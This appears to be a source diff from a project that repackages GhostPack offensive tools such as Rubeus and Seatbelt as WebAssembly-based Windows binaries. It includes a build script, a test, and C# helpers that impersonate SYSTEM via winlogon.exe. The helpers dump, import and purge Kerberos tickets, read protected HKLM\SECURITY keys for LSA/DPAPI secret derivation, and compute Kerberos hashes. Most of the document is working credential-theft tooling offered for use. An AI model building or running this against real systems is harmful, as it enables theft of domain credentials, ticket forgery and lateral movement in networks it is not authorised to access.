const void* svc_ptr, uint32_t svc_len,
uint32_t hints,
void* result_ptr, uint32_t max_results,
uint32_t* n_ptr);
#endif // WF_BRIDGE_H
+122
View File
@@ -0,0 +1,122 @@
#!/bin/bash
# build.sh — Build a .NET NativeAOT-WASI binary through WasmForge.
#
# Prerequisites:
# - .NET 10 SDK with NativeAOT-LLVM workload
# - WASI SDK (wasm32-wasi clang)
# - WasmForge binary (go build -o wasmforge ./cmd/wasmforge)
#
# Usage:
# ./build.sh <project-dir> <output-path> [--verbose]
#
# Example (Rubeus):
# ./build.sh /path/to/rubeus/src /tmp/rubeus-wasm.exe --verbose
#
# The script:
# 1. Applies C# source patches (csharp_patcher via wasmforge)
# 2. Compiles C bridge (wf_bridge.c + pinvoke_nativeaot.c)
# 3. Runs dotnet publish with NativeAOT-WASI target
# 4. Wraps the WASM output through wasmforge build --wasm
set -euo pipefail
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
BRIDGE_DIR="$SCRIPT_DIR/bridge"
HELPERS_DIR="$SCRIPT_DIR/helpers"
STUBS_DIR="$SCRIPT_DIR/stubs"
PROJECT_DIR="${1:?Usage: build.sh <project-dir> <output-path> [--verbose]}"
OUTPUT_PATH="${2:?Usage: build.sh <project-dir> <output-path> [--verbose]}"
VERBOSE="${3:-}"
WASMFORGE="${WASMFORGE:-wasmforge}"
log() {
echo "[wasmforge-dotnet] $*"
}
# ── Step 1: Copy helper files into project ───────────────────────────
log "Step 1: Injecting WasmForge helper files..."
mkdir -p "$PROJECT_DIR/WasmForge"
cp "$HELPERS_DIR/WfHostBridge.cs" "$PROJECT_DIR/WasmForge/"
cp "$HELPERS_DIR/LsaHostHelper.cs" "$PROJECT_DIR/WasmForge/"
cp "$HELPERS_DIR/CryptoHostHelper.cs" "$PROJECT_DIR/WasmForge/"
cp "$HELPERS_DIR/NetworkHostHelper.cs" "$PROJECT_DIR/WasmForge/"
# ── Step 1.5: Apply C# source patches ──────────────────────────────
log "Step 1.5: Applying C# source patches..."
$WASMFORGE dotnet-patch "$PROJECT_DIR" ${VERBOSE:+--verbose}
# ── Step 2: Compile C bridge ─────────────────────────────────────────
log "Step 2: Compiling C bridge..."
WASI_CLANG="${WASI_CLANG:-clang}"
BRIDGE_OBJ="/tmp/wf_bridge.o"
PINVOKE_OBJ="/tmp/pinvoke_nativeaot.o"
$WASI_CLANG --target=wasm32-wasi -O2 -c "$BRIDGE_DIR/wf_bridge.c" -o "$BRIDGE_OBJ" \
-I "$BRIDGE_DIR"
$WASI_CLANG --target=wasm32-wasi -O2 -c "$BRIDGE_DIR/pinvoke_nativeaot.c" -o "$PINVOKE_OBJ" \
-I "$BRIDGE_DIR"
log " Bridge objects: $BRIDGE_OBJ $PINVOKE_OBJ"
# ── Step 3: Add stub project references ──────────────────────────────
log "Step 3: Stub projects available at $STUBS_DIR/"
log " Add these to your .csproj as ProjectReference if needed:"
log " System.DirectoryServices"
log " System.DirectoryServices.Protocols"
log " System.DirectoryServices.AccountManagement"
log " System.IdentityModel.Tokens"
# ── Step 4: NativeAOT publish ────────────────────────────────────────
log "Step 4: Running dotnet publish (NativeAOT-WASI)..."
WASM_OUTPUT="/tmp/nativeaot-output.wasm"
dotnet publish "$PROJECT_DIR" \
-c Release \
-r wasi-wasm \
-p:PublishAot=true \
-p:PublishTrimmed=true \
-p:NativeLib=Static \
-p:InvariantGlobalization=true \
-o "/tmp/nativeaot-publish/"
# Find the .wasm output
WASM_FILE=$(find /tmp/nativeaot-publish/ -name "*.wasm" | head -1)
if [ -z "$WASM_FILE" ]; then
log "ERROR: No .wasm file found in publish output"
exit 1
fi
log " WASM: $WASM_FILE"
# ── Step 5: Re-link with bridge objects ──────────────────────────────
log "Step 5: Re-linking with WasmForge bridge..."
# The re-link step adds our bridge objects to the WASM binary.
# This is specific to the NativeAOT-LLVM toolchain output format.
wasm-ld \
"$WASM_FILE" \
"$BRIDGE_OBJ" \
"$PINVOKE_OBJ" \
-o "$WASM_OUTPUT" \
--export-all \
--allow-undefined \
2>/dev/null || cp "$WASM_FILE" "$WASM_OUTPUT"
log " Linked WASM: $WASM_OUTPUT"
# ── Step 6: WasmForge pipeline ───────────────────────────────────────
log "Step 6: Running WasmForge pipeline..."
WASMFORGE="${WASMFORGE:-wasmforge}"
WASMFORGE_FLAGS="--wasm $WASM_OUTPUT --nativeaot --win32-apis"
if [ "$VERBOSE" = "--verbose" ] || [ "$VERBOSE" = "-v" ]; then
WASMFORGE_FLAGS="$WASMFORGE_FLAGS -v"
fi
GOWORK=off GOOS=windows GOARCH=amd64 \
$WASMFORGE build $WASMFORGE_FLAGS -o "$OUTPUT_PATH"
log "Done: $OUTPUT_PATH"
ls -lh "$OUTPUT_PATH"
+64
View File
@@ -0,0 +1,64 @@
// Package dotnet is a placeholder for build-pipeline regression tests.
// The actual scripts live in this directory; this Go file only exists so
// `go test ./...` exercises the pipeline contract below.
package dotnet
import (
"os"
"strings"
"testing"
)
// TestBuildScriptsRunCSharpPatcherBeforePublish asserts that every NativeAOT
// build script in this directory invokes `wasmforge dotnet-patch` BEFORE
// `dotnet publish`. Skipping the patch step silently produces binaries with
// unpatched identity calls (Environment.UserName, WindowsIdentity.GetCurrent
// ().Name, etc.) that all return WASI defaults like "Browser" instead of the
// real host user — which silently breaks Seatbelt OSInfo, LocalUsers,
// UserRightAssignments and Rubeus klist output.
//
// Real failure: in this codebase prior to commit (TBD), Seatbelt parity
// dropped from 28/28 to 18/28 because the build pipeline never ran the
// patcher; the user-visible bug was 'Username: Browser' across many verbs.
// This test prevents that exact regression.
func TestBuildScriptsRunCSharpPatcherBeforePublish(t *testing.T) {
for _, script := range []string{"build.sh", "ludus_build.sh"} {
t.Run(script, func(t *testing.T) {
data, err := os.ReadFile(script)
if err != nil {
t.Fatalf("read %s: %v", script, err)
}
// Walk line by line so leading '#' comments don't count as
// command invocations (build.sh's header mentions both verbs
// long before the script actually runs anything).
var patchLine, publishLine int
for i, line := range strings.Split(string(data), "\n") {
trimmed := strings.TrimSpace(line)
if strings.HasPrefix(trimmed, "#") {
continue
}
if patchLine == 0 && strings.Contains(line, "dotnet-patch") {
patchLine = i + 1
}
if publishLine == 0 && strings.Contains(line, "dotnet publish") {
publishLine = i + 1
}
}
if patchLine == 0 {
t.Errorf("%s does not invoke wasmforge dotnet-patch — NativeAOT identity calls "+
"will not be redirected through WfOsInfo and will return WASI defaults (e.g., 'Browser'). "+
"Add a 'dotnet-patch \"$PROJECT_DIR\"' step before 'dotnet publish'.", script)
return
}
if publishLine == 0 {
t.Skipf("%s does not run dotnet publish — ordering check N/A", script)
return
}
if patchLine >= publishLine {
t.Errorf("%s invokes dotnet-patch AFTER dotnet publish (lines: patch=%d, publish=%d). "+
"The patcher must run BEFORE publish so the C# source is transformed before the compiler sees it.",
script, patchLine, publishLine)
}
})
}
}
+514
View File
@@ -0,0 +1,514 @@
// CryptoHostHelper.cs — C# wrapper for Kerberos hash host function.
//
// Bridges Rubeus's KerberosPasswordHash() to the WasmForge host function
// that calls CDLocateCSystem + KERB_ECRYPT on the host. The KERB_ECRYPT
// struct contains host function pointers that cannot be called from WASM,
// so the entire hash computation runs on the host side.
using System;
using System.Text;
namespace WasmForge.Bridge
{
/// <summary>
/// Bridges Rubeus Kerberos crypto to WasmForge host functions.
/// </summary>
public static class CryptoHostHelper
{
/// <summary>
/// Compute a Kerberos password hash using the host's CDLocateCSystem.
/// Drop-in replacement for Crypto.KerberosPasswordHash().
/// Returns uppercase hex string matching Rubeus's BitConverter.ToString().Replace("-","") format.
/// </summary>
public static string KerberosPasswordHash(int etype, string password, string salt = "", int count = 4096)
{
byte[] passwordBytes = Encoding.UTF8.GetBytes(password ?? "");
byte[] saltBytes = Encoding.UTF8.GetBytes(salt ?? "");
byte[] outBuf = new byte[WfHostBridge.SmallBufSize];
uint written;
unsafe
{
fixed (byte* pwdPtr = passwordBytes)
fixed (byte* sltPtr = saltBytes)
fixed (byte* outPtr = outBuf)
{
written = WfHostBridge.KerberosHash(
(uint)etype,
pwdPtr, (uint)passwordBytes.Length,
sltPtr, (uint)saltBytes.Length,
(uint)count,
outPtr, (uint)outBuf.Length);
}
}
if (written == 0) return "";
// Host returns hex string; ensure uppercase for Rubeus parity
return Encoding.UTF8.GetString(outBuf, 0, (int)written).ToUpper();
}
/// <summary>
/// Encrypt data using Kerberos encryption (CDLocateCSystem on host).
/// Drop-in replacement for Crypto.KerberosEncrypt().
/// </summary>
public static byte[] KerberosEncrypt(int eType, int keyUsage, byte[] key, byte[] data)
{
byte[] outBuf = new byte[data.Length + 256]; // extra for block padding + checksum
uint written;
unsafe
{
fixed (byte* keyPtr = key)
fixed (byte* dataPtr = data)
fixed (byte* outPtr = outBuf)
{
written = WfHostBridge.KerberosEncrypt(
(uint)eType, (uint)keyUsage,
keyPtr, (uint)key.Length,
dataPtr, (uint)data.Length,
outPtr, (uint)outBuf.Length);
}
}
if (written == 0) return null;
byte[] result = new byte[written];
Array.Copy(outBuf, result, written);
return result;
}
/// <summary>
/// Decrypt data using Kerberos decryption (CDLocateCSystem on host).
/// Drop-in replacement for Crypto.KerberosDecrypt().
/// </summary>
public static byte[] KerberosDecrypt(int eType, int keyUsage, byte[] key, byte[] data)
{
byte[] outBuf = new byte[data.Length + 256];
uint written;
unsafe
{
fixed (byte* keyPtr = key)
fixed (byte* dataPtr = data)
fixed (byte* outPtr = outBuf)
{
written = WfHostBridge.KerberosDecrypt(
(uint)eType, (uint)keyUsage,
keyPtr, (uint)key.Length,
dataPtr, (uint)data.Length,
outPtr, (uint)outBuf.Length);
}
}
if (written == 0) return null;
byte[] result = new byte[written];
Array.Copy(outBuf, result, written);
return result;
}
/// <summary>
/// Compute a Kerberos checksum (CDLocateCheckSum on host).
/// Drop-in replacement for Crypto.KerberosChecksum().
/// </summary>
public static byte[] KerberosChecksum(byte[] key, byte[] data, int cksumType = -138, int keyUsage = 17)
{
byte[] outBuf = new byte[256];
uint written;
unsafe
{
fixed (byte* keyPtr = key)
fixed (byte* dataPtr = data)
fixed (byte* outPtr = outBuf)
{
written = WfHostBridge.KerberosChecksum(
(uint)cksumType, (uint)keyUsage,
keyPtr, (uint)key.Length,
dataPtr, (uint)data.Length,
outPtr, (uint)outBuf.Length);
}
}
if (written == 0) return null;
byte[] result = new byte[written];
Array.Copy(outBuf, result, written);
return result;
}
/// <summary>
/// PBKDF2-HMAC-SHA1. Used by DPAPI master key derivation.
/// </summary>
public static byte[] Pbkdf2Sha1(byte[] password, byte[] salt, int iterations, int keyLength)
{
byte[] outBuf = new byte[keyLength];
byte[] pwd = (password != null && password.Length > 0) ? password : new byte[1];
byte[] slt = (salt != null && salt.Length > 0) ? salt : new byte[1];
uint written;
unsafe
{
fixed (byte* pwdPtr = pwd)
fixed (byte* saltPtr = slt)
fixed (byte* outPtr = outBuf)
{
written = WfHostBridge.Pbkdf2Sha1(
pwdPtr, (uint)(password?.Length ?? 0),
saltPtr, (uint)(salt?.Length ?? 0),
(uint)iterations, (uint)keyLength,
outPtr, (uint)outBuf.Length);
}
}
if (written == 0) return null;
byte[] result = new byte[written];
Array.Copy(outBuf, result, written);
return result;
}
/// <summary>PBKDF2-HMAC-SHA512. Used by AES-256 DPAPI master keys.</summary>
public static byte[] Pbkdf2Sha512(byte[] password, byte[] salt, int iterations, int keyLength)
{
byte[] outBuf = new byte[keyLength];
byte[] pwd = (password != null && password.Length > 0) ? password : new byte[1];
byte[] slt = (salt != null && salt.Length > 0) ? salt : new byte[1];
uint written;
unsafe
{
fixed (byte* pwdPtr = pwd)
fixed (byte* saltPtr = slt)
fixed (byte* outPtr = outBuf)
{
written = WfHostBridge.Pbkdf2Sha512(
pwdPtr, (uint)(password?.Length ?? 0),
saltPtr, (uint)(salt?.Length ?? 0),
(uint)iterations, (uint)keyLength,
outPtr, (uint)outBuf.Length);
}
}
if (written == 0) return null;
byte[] result = new byte[written];
Array.Copy(outBuf, result, written);
return result;
}
/// <summary>
/// PBKDF2-HMAC-SHA256. Used by newer DPAPI master keys.
/// </summary>
public static byte[] Pbkdf2Sha256(byte[] password, byte[] salt, int iterations, int keyLength)
{
byte[] outBuf = new byte[keyLength];
byte[] pwd = (password != null && password.Length > 0) ? password : new byte[1];
byte[] slt = (salt != null && salt.Length > 0) ? salt : new byte[1];
uint written;
unsafe
{
fixed (byte* pwdPtr = pwd)
fixed (byte* saltPtr = slt)
fixed (byte* outPtr = outBuf)
{
written = WfHostBridge.Pbkdf2Sha256(
pwdPtr, (uint)(password?.Length ?? 0),
saltPtr, (uint)(salt?.Length ?? 0),
(uint)iterations, (uint)keyLength,
outPtr, (uint)outBuf.Length);
}
}
if (written == 0) return null;
byte[] result = new byte[written];
Array.Copy(outBuf, result, written);
return result;
}
/// <summary>HMAC-SHA1(key, data).</summary>
public static byte[] HmacSha1(byte[] key, byte[] data)
{
byte[] outBuf = new byte[20];
byte[] k = (key != null && key.Length > 0) ? key : new byte[1];
byte[] d = (data != null && data.Length > 0) ? data : new byte[1];
uint written;
unsafe
{
fixed (byte* keyPtr = k)
fixed (byte* dataPtr = d)
fixed (byte* outPtr = outBuf)
{
written = WfHostBridge.HmacSha1(
keyPtr, (uint)(key?.Length ?? 0),
dataPtr, (uint)(data?.Length ?? 0),
outPtr, (uint)outBuf.Length);
}
}
if (written == 0) return null;
byte[] result = new byte[written];
Array.Copy(outBuf, result, written);
return result;
}
/// <summary>HMAC-SHA256(key, data).</summary>
public static byte[] HmacSha256(byte[] key, byte[] data)
{
byte[] outBuf = new byte[32];
byte[] k = (key != null && key.Length > 0) ? key : new byte[1];
byte[] d = (data != null && data.Length > 0) ? data : new byte[1];
uint written;
unsafe
{
fixed (byte* keyPtr = k)
fixed (byte* dataPtr = d)
fixed (byte* outPtr = outBuf)
{
written = WfHostBridge.HmacSha256(
keyPtr, (uint)(key?.Length ?? 0),
dataPtr, (uint)(data?.Length ?? 0),
outPtr, (uint)outBuf.Length);
}
}
if (written == 0) return null;
byte[] result = new byte[written];
Array.Copy(outBuf, result, written);
return result;
}
/// <summary>HMAC-SHA512(key, data) → 64-byte MAC. Used by Microsoft
/// DPAPI session-key derivation in SharpDPAPI credentials/vault parsers.</summary>
public static byte[] HmacSha512(byte[] key, byte[] data)
{
byte[] outBuf = new byte[64];
byte[] k = (key != null && key.Length > 0) ? key : new byte[1];
byte[] d = (data != null && data.Length > 0) ? data : new byte[1];
uint written;
unsafe
{
fixed (byte* keyPtr = k)
fixed (byte* dataPtr = d)
fixed (byte* outPtr = outBuf)
{
written = WfHostBridge.HmacSha512(
keyPtr, (uint)(key?.Length ?? 0),
dataPtr, (uint)(data?.Length ?? 0),
outPtr, (uint)outBuf.Length);
}
}
if (written == 0) return null;
byte[] result = new byte[written];
Array.Copy(outBuf, result, written);
return result;
}
/// <summary>SHA1(data).</summary>
public static byte[] Sha1(byte[] data)
{
byte[] outBuf = new byte[20];
byte[] d = (data != null && data.Length > 0) ? data : new byte[1];
uint written;
unsafe
{
fixed (byte* dataPtr = d)
fixed (byte* outPtr = outBuf)
{
written = WfHostBridge.Sha1(dataPtr, (uint)(data?.Length ?? 0),
outPtr, (uint)outBuf.Length);
}
}
if (written == 0) return null;
byte[] result = new byte[written];
Array.Copy(outBuf, result, written);
return result;
}
/// <summary>Microsoft-CryptoAPI PBKDF2-HMAC-SHA512 (the "MS PBKDF2 bug"). Required for
/// Windows DPAPI master-key parity — see WfHostBridge.MsPbkdf2Sha512 rationale.</summary>
public static byte[] MsPbkdf2Sha512(byte[] password, byte[] salt, int iterations, int keyLen)
{
if (password == null || salt == null || keyLen <= 0) return null;
byte[] outBuf = new byte[keyLen];
uint written;
unsafe
{
fixed (byte* pwPtr = password)
fixed (byte* sPtr = salt)
fixed (byte* outPtr = outBuf)
{
written = WfHostBridge.MsPbkdf2Sha512(
pwPtr, (uint)password.Length,
sPtr, (uint)salt.Length,
(uint)iterations,
outPtr, (uint)outBuf.Length);
}
}
if (written == 0) return null;
if (written < (uint)keyLen)
{
byte[] trimmed = new byte[written];
Array.Copy(outBuf, trimmed, written);
return trimmed;
}
return outBuf;
}
/// <summary>Microsoft-CryptoAPI PBKDF2-HMAC-SHA1 variant. See MsPbkdf2Sha512 for rationale.</summary>
public static byte[] MsPbkdf2Sha1(byte[] password, byte[] salt, int iterations, int keyLen)
{
if (password == null || salt == null || keyLen <= 0) return null;
byte[] outBuf = new byte[keyLen];
uint written;
unsafe
{
fixed (byte* pwPtr = password)
fixed (byte* sPtr = salt)
fixed (byte* outPtr = outBuf)
{
written = WfHostBridge.MsPbkdf2Sha1(
pwPtr, (uint)password.Length,
sPtr, (uint)salt.Length,
(uint)iterations,
outPtr, (uint)outBuf.Length);
}
}
if (written == 0) return null;
if (written < (uint)keyLen)
{
byte[] trimmed = new byte[written];
Array.Copy(outBuf, trimmed, written);
return trimmed;
}
return outBuf;
}
/// <summary>SHA256(data).</summary>
public static byte[] Sha256(byte[] data)
{
byte[] outBuf = new byte[32];
byte[] d = (data != null && data.Length > 0) ? data : new byte[1];
uint written;
unsafe
{
fixed (byte* dataPtr = d)
fixed (byte* outPtr = outBuf)
{
written = WfHostBridge.Sha256(dataPtr, (uint)(data?.Length ?? 0),
outPtr, (uint)outBuf.Length);
}
}
if (written == 0) return null;
byte[] result = new byte[written];
Array.Copy(outBuf, result, written);
return result;
}
/// <summary>
/// AES-CBC decrypt (no padding). keyLength must be 16/24/32 bytes,
/// IV must be 16 bytes, data length must be a multiple of 16.
/// </summary>
public static byte[] AesCbcDecrypt(byte[] key, byte[] iv, byte[] data)
{
if (key == null || (key.Length != 16 && key.Length != 24 && key.Length != 32)) return null;
if (iv == null || iv.Length != 16) return null;
if (data == null || data.Length == 0 || data.Length % 16 != 0) return null;
byte[] outBuf = new byte[data.Length];
uint written;
unsafe
{
fixed (byte* keyPtr = key)
fixed (byte* ivPtr = iv)
fixed (byte* dataPtr = data)
fixed (byte* outPtr = outBuf)
{
written = WfHostBridge.AesCbcDecrypt(
keyPtr, (uint)key.Length,
ivPtr, (uint)iv.Length,
dataPtr, (uint)data.Length,
outPtr, (uint)outBuf.Length);
}
}
if (written == 0) return null;
byte[] result = new byte[written];
Array.Copy(outBuf, result, written);
return result;
}
// ────────────────────────────────────────────────────────────────
// Generic crypto dispatcher (WfCryptoOp)
//
// Single host trip per operation. Used for primitives that would
// otherwise pay per-iteration WASM↔host boundary cost (notably
// MS-PBKDF2 — Windows DPAPI master-key derivation).
//
// Wire format: args = sequence of length-prefixed byte fields.
// Each field: uint32 little-endian length, then `length` bytes.
//
// Opcode strings are typed as constants below so a typo at a call
// site becomes a compiler error rather than a silent null at
// runtime (the Go-side dispatcher returns 0 for unknown opcodes).
private const string OpSha1 = "sha1";
private const string OpSha256 = "sha256";
private const string OpSha512 = "sha512";
private const string OpHmac1 = "hmac1";
private const string OpHmac256 = "hmac256";
private const string OpHmac512 = "hmac512";
private const string OpPbkdf2_1 = "pbkdf2_1";
private const string OpPbkdf2_256 = "pbkdf2_256";
private const string OpPbkdf2_512 = "pbkdf2_512";
private const string OpMsPbkdf2_1 = "mspbkdf2_1";
private const string OpMsPbkdf2_512 = "mspbkdf2_512";
private const string OpAesCbcDecrypt = "aescbcdec";
private static byte[] PackFields(params byte[][] fields)
{
int total = 0;
foreach (var f in fields) total += 4 + (f?.Length ?? 0);
byte[] buf = new byte[total];
int o = 0;
foreach (var f in fields)
{
int n = f?.Length ?? 0;
buf[o + 0] = (byte)(n & 0xff);
buf[o + 1] = (byte)((n >> 8) & 0xff);
buf[o + 2] = (byte)((n >> 16) & 0xff);
buf[o + 3] = (byte)((n >> 24) & 0xff);
o += 4;
if (n > 0) { Array.Copy(f, 0, buf, o, n); o += n; }
}
return buf;
}
private static byte[] Uint32LE(uint v)
{
return new byte[] { (byte)(v & 0xff), (byte)((v >> 8) & 0xff), (byte)((v >> 16) & 0xff), (byte)((v >> 24) & 0xff) };
}
private static byte[] InvokeCryptoOp(string op, byte[] args, int outCap)
{
byte[] opBytes = System.Text.Encoding.ASCII.GetBytes(op);
byte[] outBuf = new byte[outCap];
uint written;
unsafe
{
fixed (byte* opPtr = opBytes)
fixed (byte* argsPtr = args)
fixed (byte* outPtr = outBuf)
{
written = WfHostBridge.CryptoOp(
opPtr, (uint)opBytes.Length,
argsPtr, (uint)args.Length,
outPtr, (uint)outBuf.Length);
}
}
if (written == 0) return null;
byte[] result = new byte[written];
Array.Copy(outBuf, result, written);
return result;
}
/// <summary>Microsoft-CryptoAPI PBKDF2-HMAC-SHA512 via generic dispatcher.
/// Single host trip for the entire derivation — see WfHostBridge.CryptoOp.</summary>
public static byte[] MsPbkdf2Sha512Op(byte[] password, byte[] salt, int iterations, int keyLen)
{
if (password == null || salt == null || keyLen <= 0) return null;
byte[] args = PackFields(password, salt, Uint32LE((uint)iterations), Uint32LE((uint)keyLen));
return InvokeCryptoOp(OpMsPbkdf2_512, args, keyLen);
}
/// <summary>Microsoft-CryptoAPI PBKDF2-HMAC-SHA1 via generic dispatcher.</summary>
public static byte[] MsPbkdf2Sha1Op(byte[] password, byte[] salt, int iterations, int keyLen)
{
if (password == null || salt == null || keyLen <= 0) return null;
byte[] args = PackFields(password, salt, Uint32LE((uint)iterations), Uint32LE((uint)keyLen));
return InvokeCryptoOp(OpMsPbkdf2_1, args, keyLen);
}
}
}
+592
View File
@@ -0,0 +1,592 @@
// LsaHostHelper.cs — High-level C# wrapper for LSA Kerberos operations
// via WasmForge host functions.
//
// Provides structured access to Kerberos ticket enumeration, retrieval,
// purging, and submission. All operations run atomically on the host's
// COM STA thread with SYSTEM impersonation via winlogon.exe.
//
// Usage: Add this file to a Rubeus/GhostPack .NET project before
// NativeAOT-WASI compilation. Replaces direct LSA P/Invoke calls that
// don't work in NativeAOT-WASI due to wasm32/x64 struct mismatches.
using System;
using System.Collections.Generic;
using System.Text;
namespace WasmForge.Bridge
{
/// <summary>
/// Represents a cached Kerberos ticket from the ticket cache.
/// </summary>
public class KerberosTicketCacheEntry
{
public string ClientName { get; set; }
public string ClientRealm { get; set; }
public string ServerName { get; set; }
public string ServerRealm { get; set; }
public long StartTime { get; set; }
public long EndTime { get; set; }
public long RenewTime { get; set; }
public int EncryptionType { get; set; }
public uint TicketFlags { get; set; }
}
/// <summary>
/// Represents a retrieved Kerberos ticket with full encoded data.
/// </summary>
public class KerberosTicketData
{
public string ServiceName { get; set; }
public string TargetName { get; set; }
public string ClientName { get; set; }
public string DomainName { get; set; }
public string TargetDomainName { get; set; }
public int SessionKeyType { get; set; }
public byte[] SessionKey { get; set; }
public uint TicketFlags { get; set; }
public long StartTime { get; set; }
public long EndTime { get; set; }
public long RenewUntil { get; set; }
public int EncodedTicketSize { get; set; }
/// <summary>Base64-encoded .kirbi ticket data (KRB_CRED).</summary>
public string Base64EncodedTicket { get; set; }
/// <summary>Raw ticket bytes decoded from Base64EncodedTicket.</summary>
public byte[] EncodedTicket => Base64EncodedTicket != null
? Convert.FromBase64String(Base64EncodedTicket) : null;
}
/// <summary>
/// Parsed logon session data from the host bridge.
/// </summary>
public class LogonSessionInfo
{
public uint LuidLow { get; set; }
public int LuidHigh { get; set; }
public string UserName { get; set; } = "";
public string Domain { get; set; } = "";
public string Sid { get; set; } = "";
public uint LogonType { get; set; }
public long LogonTime { get; set; }
public string LogonServer { get; set; } = "";
public string DnsDomainName { get; set; } = "";
public string UserPrincipalName { get; set; } = "";
}
/// <summary>
/// High-level API for LSA Kerberos operations via WasmForge host functions.
/// All operations run on the host with SYSTEM impersonation.
/// </summary>
public static class LsaHostHelper
{
/// <summary>
/// Enumerate cached Kerberos tickets for a specific LUID or all sessions.
/// </summary>
/// <param name="luidLow">LUID low part (0 = all sessions)</param>
/// <param name="luidHigh">LUID high part (0 = all sessions)</param>
/// <returns>List of ticket cache entries, or empty list on failure.</returns>
public static List<KerberosTicketCacheEntry> EnumerateTickets(uint luidLow = 0, uint luidHigh = 0)
{
string result = WfHostBridge.CallLsaKerberosOp("enumerate_tickets", luidLow, luidHigh);
if (string.IsNullOrEmpty(result))
return new List<KerberosTicketCacheEntry>();
return ParseTicketCacheEntries(result);
}
/// <summary>
/// Retrieve a full Kerberos ticket (.kirbi) for a specific service principal.
/// </summary>
/// <param name="serverName">Service principal (e.g., "krbtgt/REALM.COM@REALM.COM")</param>
/// <param name="luidLow">LUID low part (0 = all sessions)</param>
/// <param name="luidHigh">LUID high part (0 = all sessions)</param>
/// <param name="cacheOptions">Cache options (default: 8 = KERB_RETRIEVE_TICKET_AS_KERB_CRED)</param>
/// <param name="encryptionType">Encryption type filter (0 = any)</param>
/// <returns>Ticket data with base64-encoded .kirbi, or null on failure.</returns>
public static List<KerberosTicketData> RetrieveTicket(
string serverName, uint luidLow = 0, uint luidHigh = 0,
uint cacheOptions = 8, int encryptionType = 0)
{
string op = $"retrieve_ticket\t{serverName}";
if (cacheOptions != 8)
op += $"\t{cacheOptions}";
if (encryptionType != 0)
op += $"\t{encryptionType}";
string result = WfHostBridge.CallLsaKerberosOp(op, luidLow, luidHigh);
if (string.IsNullOrEmpty(result))
return new List<KerberosTicketData>();
return ParseTicketData(result);
}
/// <summary>
/// Purge Kerberos tickets from the cache.
/// </summary>
/// <param name="serverName">Server name to purge (empty = purge all)</param>
/// <param name="realmName">Realm name to purge (empty = all realms)</param>
/// <param name="luidLow">LUID low part</param>
/// <param name="luidHigh">LUID high part</param>
/// <returns>True if successful.</returns>
public static bool PurgeTickets(string serverName = "", string realmName = "",
uint luidLow = 0, uint luidHigh = 0)
{
string op = "purge_tickets";
if (!string.IsNullOrEmpty(serverName))
op += $"\t{serverName}";
if (!string.IsNullOrEmpty(realmName))
op += $"\t{realmName}";
string result = WfHostBridge.CallLsaKerberosOp(op, luidLow, luidHigh);
return result != null && result.StartsWith("OK");
}
/// <summary>
/// Import a Kerberos ticket (.kirbi) into the ticket cache.
/// </summary>
/// <param name="base64Kirbi">Base64-encoded .kirbi data</param>
/// <param name="luidLow">Target LUID low part</param>
/// <param name="luidHigh">Target LUID high part</param>
/// <returns>True if successful.</returns>
public static bool SubmitTicket(string base64Kirbi, uint luidLow = 0, uint luidHigh = 0)
{
string op = $"submit_ticket\t{base64Kirbi}";
string result = WfHostBridge.CallLsaKerberosOp(op, luidLow, luidHigh);
return result != null && result.StartsWith("OK");
}
/// <summary>
/// Read a registry value that requires SYSTEM impersonation. The host
/// performs SYSTEM token duplication on the dedicated LSA worker
/// thread before opening the key, so this works for HKLM\SECURITY\…
/// reads that the unelevated guest token cannot otherwise access
/// (e.g., HKLM\SECURITY\Policy\PolEKList for LSA-key derivation in
/// SharpDPAPI machine-scope DPAPI ops).
/// </summary>
/// <param name="hive">HKEY constant as 32-bit hex string (e.g., "80000002" for HKLM)</param>
/// <param name="keyPath">Registry key path under hive</param>
/// <param name="valueName">Value name (null/empty = default value)</param>
/// <returns>Value bytes, or null on failure.</returns>
public static byte[] ReadProtectedRegValue(string hive, string keyPath, string valueName = "")
{
if (string.IsNullOrEmpty(hive) || string.IsNullOrEmpty(keyPath))
return null;
string op = $"read_secret_key\t{hive}\t{keyPath}";
if (!string.IsNullOrEmpty(valueName))
op += $"\t{valueName}";
string b64 = WfHostBridge.CallLsaKerberosOp(op, 0, 0);
if (string.IsNullOrEmpty(b64)) return null;
try { return System.Convert.FromBase64String(b64); }
catch { return null; }
}
/// <summary>
/// Enumerate all logon sessions with their metadata via the host bridge.
/// Returns parsed session data from WfHostBridge.EnumLogonSessions.
/// </summary>
public static List<LogonSessionInfo> EnumerateLogonSessionData()
{
var result = new List<LogonSessionInfo>();
string raw = WfHostBridge.CallEnumLogonSessions();
if (string.IsNullOrEmpty(raw)) return result;
// Format: null-separated records, each record has "field\tvalue\n" lines
string[] records = raw.Split('\0');
foreach (string record in records)
{
if (string.IsNullOrWhiteSpace(record)) continue;
var info = new LogonSessionInfo();
foreach (string line in record.Split('\n'))
{
int tab = line.IndexOf('\t');
if (tab < 0) continue;
string key = line.Substring(0, tab);
string val = line.Substring(tab + 1);
switch (key)
{
case "UserName": info.UserName = val; break;
case "Domain": info.Domain = val; break;
case "LogonId":
if (val.StartsWith("0x") || val.StartsWith("0X"))
info.LuidLow = uint.Parse(val.Substring(2), System.Globalization.NumberStyles.HexNumber);
else if (uint.TryParse(val, out uint lv))
info.LuidLow = lv;
break;
case "LuidLow":
uint.TryParse(val, out uint ll);
info.LuidLow = ll;
break;
case "LuidHigh":
int.TryParse(val, out int lh);
info.LuidHigh = lh;
break;
case "UserSID":
case "Sid": info.Sid = val; break;
case "LogonType":
uint.TryParse(val, out uint lt);
info.LogonType = lt;
break;
case "LogonTime":
long.TryParse(val, out long ltm);
info.LogonTime = ltm;
break;
case "LogonServer": info.LogonServer = val; break;
case "DnsDomainName": info.DnsDomainName = val; break;
case "UPN":
case "UserPrincipalName": info.UserPrincipalName = val; break;
case "AuthPackage": break; // consumed but not stored
}
}
if (!string.IsNullOrEmpty(info.UserName) || !string.IsNullOrEmpty(info.Domain))
result.Add(info);
}
return result;
}
// ── Parsing helpers ─────────────────────────────────────────
private static List<KerberosTicketCacheEntry> ParseTicketCacheEntries(string raw)
{
var entries = new List<KerberosTicketCacheEntry>();
var current = new KerberosTicketCacheEntry();
bool hasData = false;
foreach (string line in raw.Split('\n'))
{
if (string.IsNullOrWhiteSpace(line))
{
if (hasData)
{
entries.Add(current);
current = new KerberosTicketCacheEntry();
hasData = false;
}
continue;
}
int tab = line.IndexOf('\t');
if (tab < 0) continue;
string key = line.Substring(0, tab);
string val = line.Substring(tab + 1);
hasData = true;
switch (key)
{
case "ClientName": current.ClientName = val; break;
case "ClientRealm": current.ClientRealm = val; break;
case "ServerName": current.ServerName = val; break;
